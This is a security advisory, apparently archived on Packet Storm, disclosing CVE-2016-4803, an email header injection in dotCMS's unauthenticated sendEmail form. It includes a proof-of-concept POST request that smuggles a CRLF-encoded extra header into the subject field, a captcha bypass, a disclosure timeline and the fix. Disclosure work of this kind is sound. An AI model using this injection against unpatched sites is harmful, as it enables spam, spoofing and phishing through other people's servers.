exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

dotCMS Email Header Injection

dotCMS Email Header Injection
Posted May 25, 2016
Authored by Elar Lang

dotCMS versions prior to 3.5 and 3.3.2 suffers from an email header injection vulnerability.

tags | exploit
advisories | CVE-2016-4803
SHA-256 | 8a2aa086022ce89bb40306dc783a8bd835f0e4f8c1d80ad34fa487953fa9ea7b

dotCMS Email Header Injection

Change Mirror Download
Title: CVE-2016-4803 dotCMS - Email Header Injection
Credit: Elar Lang / https://security.elarlang.eu
Vulnerability: Email Header Injection
Vulnerable version: before 3.5 / 3.3.2
CVE: CVE-2016-4803
Vendor: dotCMS (http://dotcms.com/)


# Description
dotCMS has an email sending functionality at path /dotCMS/sendEmail/
Some parameters are vulnerable to Email Header Injection.


# Preconditions
There is no pre-condition on authentication or on authorization to
access this functionality.

If captcha is required for the web page, then the only precondition
would be captcha. However, captcha is renewed only when you access the
captcha image - in other words, you can load it once and manually set
the correct value. After this step the "captcha effect" is bypassed.


# Proof-of-Concept
Proof-of-Concept is made on dotCMS demo site with dotCMS version 3.2.1
on 7th of December 2015.

## Value for subject (%0D%0A is for \r\n):
subject=subject%0D%0AX-PoC-of-New-Line%3A+True


## Proof-of-Concept POST request:
<code>
POST /dotCMS/sendEmail HTTP/1.1
Host: demo2.dotcms.com
...
Cookie: _JSESSIONID=998ADA19C99505E75DC6D27A5E84D...; ...
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 218

from=myemail&to=youremail&subject=subject%0D%0AX-PoC-of-New-Line%3A+True&returnUrl=%2F1&invalidCaptchaReturnUrl=%2F2&useCaptcha=true&captcha=hwxc5&comments=some+content&send=Send
</code>


## Received email source:
<code>
Message-ID: <1894336506.1449476889789.JavaMail.dotcms@democms1.dotcms.net>
From: myemail
To: youremail
Subject: subject
X-PoC-of-New-Line: True
MIME-Version: 1.0
Content-Type: multipart/alternative;
boundary="----=_Part_4_698773753.1449476889786"
X-RecipientId: null
Date: Mon, 7 Dec 2015 03:28:09 -0500 (EST)

------=_Part_4_698773753.1449476889786
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

... removed ...
</code>


## Result

>From the received email source, it is visible that the subject value
created 2 different lines:
<code>
Subject: subject
X-PoC-of-New-Line: True
</code>

Proof-of-Concept on how to send a multipart email with an attachment
and a more detailed description is available at:
https://security.elarlang.eu/cve-2016-4803-dotcms-email-header-injection-vulnerability-full-disclosure.html


# Vulnerability Disclosure Timeline

2015-12-04 .. 07 | me | detected vulnerability, wrote Proof-of-Concept
2015-12-07 | me > dotCMS | sent a letter with detailed description of
email header injection and some related vulnerabilities
2015-12-14 | me > dotCMS | sent another letter with SQL injections
vulnerabilities and asked feedback about "email header injection"
vulnerabilities
2015-12-14 | dotCMS > me | they were going to review my emails and
asked to resend "email header injection" description
2015-12-14 | me > dotCMS | I resent "email header injection" description
2015-12-14 | dotCMS > me | they were planning fixes in upcoming
release, estimated to beginning of 2016. They thanked and wrote
"security is something we take seriously"

2016-04-07 | me > dotCMS | 5 months since first report, what is the
situation with reported vulnerabilities?
2016-04-07 | dotCMS | commit in GitHub | "fixes #8840 sort by
sanitizing and email header injection #8841"
2016-04-07 | dotCMS > me | email header injection will be fixed in
3.5, which is estimated to be out in mid-April

2016-04-19 | dotCMS | dotCMS version 3.5 release
2016-05-09 | me > dotCMS | asked confirmation and version numbers
about fixes for CVE and Full Disclosure
2016-05-10 | dotCMS > me | email header injection is fixed in versions
3.5 and 3.3.2.
2016-05-10 | dotCMS | dotCMS version 3.3.2 release
2016-05-24 | me | Full Disclosure on security.elarlang.eu


# Fixes
Update dotCMS at least to version 3.5 or 3.3.2.

https://dotcms.com/docs/latest/change-log#release-3.5
https://dotcms.com/docs/latest/change-log#release-3.3.2

--
Elar Lang
Blog @ https://security.elarlang.eu
Pentester, lecturer @ http://www.clarifiedsecurity.com


Login or Register to add favorites

File Archive:

April 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    10 Files
  • 2
    Apr 2nd
    26 Files
  • 3
    Apr 3rd
    40 Files
  • 4
    Apr 4th
    6 Files
  • 5
    Apr 5th
    26 Files
  • 6
    Apr 6th
    0 Files
  • 7
    Apr 7th
    0 Files
  • 8
    Apr 8th
    22 Files
  • 9
    Apr 9th
    14 Files
  • 10
    Apr 10th
    10 Files
  • 11
    Apr 11th
    13 Files
  • 12
    Apr 12th
    14 Files
  • 13
    Apr 13th
    0 Files
  • 14
    Apr 14th
    0 Files
  • 15
    Apr 15th
    30 Files
  • 16
    Apr 16th
    10 Files
  • 17
    Apr 17th
    22 Files
  • 18
    Apr 18th
    45 Files
  • 19
    Apr 19th
    8 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    11 Files
  • 23
    Apr 23rd
    68 Files
  • 24
    Apr 24th
    23 Files
  • 25
    Apr 25th
    0 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close